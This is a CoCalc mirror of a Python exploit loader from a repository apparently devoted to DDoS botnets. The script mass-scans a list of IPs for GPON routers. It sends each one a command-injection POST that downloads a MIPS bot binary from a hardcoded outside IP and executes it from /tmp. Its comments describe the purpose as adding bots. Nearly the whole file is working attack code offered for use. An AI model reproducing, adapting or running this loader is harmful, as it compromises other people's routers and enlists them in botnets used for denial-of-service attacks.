Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/GPON/gponnew.py
5038 views
1
#!/usr/bin/python
2
3
# gpon exploit loader by nexus zeta ; if ive sent u this dont give this to skids - use your head dont get bots saturated
4
# note to self: reintegrate parallelized thread pool alongside queue / gevent? (maybe)
5
6
import sys, socket, time, os
7
from Queue import *
8
#from multiprocessing.dummy import Pool as ThreadPool
9
#from multiprocessing import Process
10
from threading import Thread
11
from sys import stdout
12
13
if len(sys.argv) < 2:
14
print "Usage: python "+sys.argv[0]+" <list>"
15
sys.exit()
16
17
port = 8080
18
buf = 4096
19
count = 0
20
queue = Queue()
21
post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(wget+http://23.130.192.132/mips+-O+->+/tmp/mips;sh+/tmp/mips)&ipv=0\r\n"
22
headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)
23
i = 0
24
ips = open(sys.argv[1], "r").readlines()
25
26
def gpwn(host):
27
global i
28
host = host.strip("\n")
29
try:
30
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
31
s.settimeout(5)
32
s.connect((host, port))
33
s.send(headers)
34
time.sleep(0.5)
35
print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)
36
resp = s.recv(buf).strip()
37
if "200 OK" in resp:
38
i += 1
39
s.close()
40
except:
41
pass
42
43
def load_to_queue():
44
global count
45
for line in ips:
46
count += 1
47
line = line.strip("\r\n")
48
sys.stdout.write("\r[%d] Added to queue" % (count))
49
sys.stdout.flush()
50
queue.put(line)
51
sys.stdout.write("\n")
52
53
def main():
54
load_to_queue()
55
i = 0
56
while i < count:
57
i += 1
58
try:
59
ip = queue.get()
60
f = Thread(target=gpwn, args=(ip,))
61
f.start()
62
queue.task_done()
63
except KeyboardInterrupt:
64
os.kill(os.getpid(),9)
65
except Exception as i:
66
print i
67
pass
68
if __name__ == "__main__":
69
main()
70